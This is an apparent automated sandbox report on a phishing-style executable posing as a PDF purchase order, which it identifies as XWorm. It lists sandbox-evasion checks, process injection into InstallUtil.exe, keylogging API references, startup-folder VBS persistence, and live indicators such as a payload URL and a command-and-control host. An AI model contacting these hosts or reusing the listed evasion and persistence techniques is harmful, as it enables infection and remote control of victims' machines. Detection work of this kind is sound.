Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2260131036.0000000007140000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: fhgfSaWT2Kdbr9biVcT
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2237773509.0000000003752000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SerialNumber0VMware|VIRTUAL|A M I|XenDselect * from Win32_ComputerSystem
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2237773509.0000000003752000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: model0Microsoft|VMWare|Virtual
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2236686816.00000000015C9000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process queried: DebugPort Jump to behavior
Enables debug privileges
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: 0.2.PO#8329837372938383839238PDF.exe.468ed70.6.raw.unpack, NativeMethods.cs Reference to suspicious API methods: OpenProcessToken(hProcess, desiredAccess, out var TokenHandle)
Source: 0.2.PO#8329837372938383839238PDF.exe.468ed70.6.raw.unpack, ResourceReferenceValue.cs Reference to suspicious API methods: NativeMethods.LoadLibrary(ResourceFilePath)
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack, Messages.cs Reference to suspicious API methods: capGetDriverDescriptionA(wDriver, ref lpszName, 100, ref lpszVer, 100)
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack, XLogger.cs Reference to suspicious API methods: MapVirtualKey(vkCode, 0u)
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Queries volume information: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected XWorm
Source: Yara match File source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.InstallUtil.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.3396289534.0000000000732000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2237773509.0000000003752000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: PO#8329837372938383839238PDF.exe PID: 2104, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 4140, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected XWorm
Source: Yara match File source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.InstallUtil.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.3396289534.0000000000732000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2237773509.0000000003752000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: PO#8329837372938383839238PDF.exe PID: 2104, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 4140, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1559973 Sample: PO#8329837372938383839238PDF.exe Startdate: 21/11/2024 Architecture: WINDOWS Score: 100 23 sierrassinfinusadas.com.ar 2->23 25 g-bing-com.ax-0001.ax-msedge.net 2->25 27 ax-0001.ax-msedge.net 2->27 31 Found malware configuration 2->31 33 Malicious sample detected (through community Yara rule) 2->33 35 Antivirus detection for URL or domain 2->35 37 16 other signatures 2->37 8 PO#8329837372938383839238PDF.exe 15 5 2->8         started        signatures3 process4 dnsIp5 29 sierrassinfinusadas.com.ar 167.250.5.91, 443, 49714 NUTHOSTSRLAR Argentina 8->29 17 C:\Users\...\SupportsDynamicPartitions.exe, PE32 8->17 dropped 19 SupportsDynamicPar...exe:Zone.Identifier, ASCII 8->19 dropped 21 C:\Users\...\SupportsDynamicPartitions.vbs, ASCII 8->21 dropped 39 Drops VBS files to the startup folder 8->39 41 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 8->41 13 InstallUtil.exe 8->13         started        file6 signatures7 process8 process9 15 WerFault.exe 4 13->15         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
167.250.5.91
 sierrassinfinusadas.com.ar Argentina
264649 NUTHOSTSRLAR false

Contacted Domains

Name IP Active
sierrassinfinusadas.com.ar 167.250.5.91 true
ax-0001.ax-msedge.net 150.171.27.10 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
nwamama.ydns.eu true
  • Avira URL Cloud: malware
 unknown
https://sierrassinfinusadas.com.ar/rindasq/Karjsfww.vdf false
  • Avira URL Cloud: safe
 unknown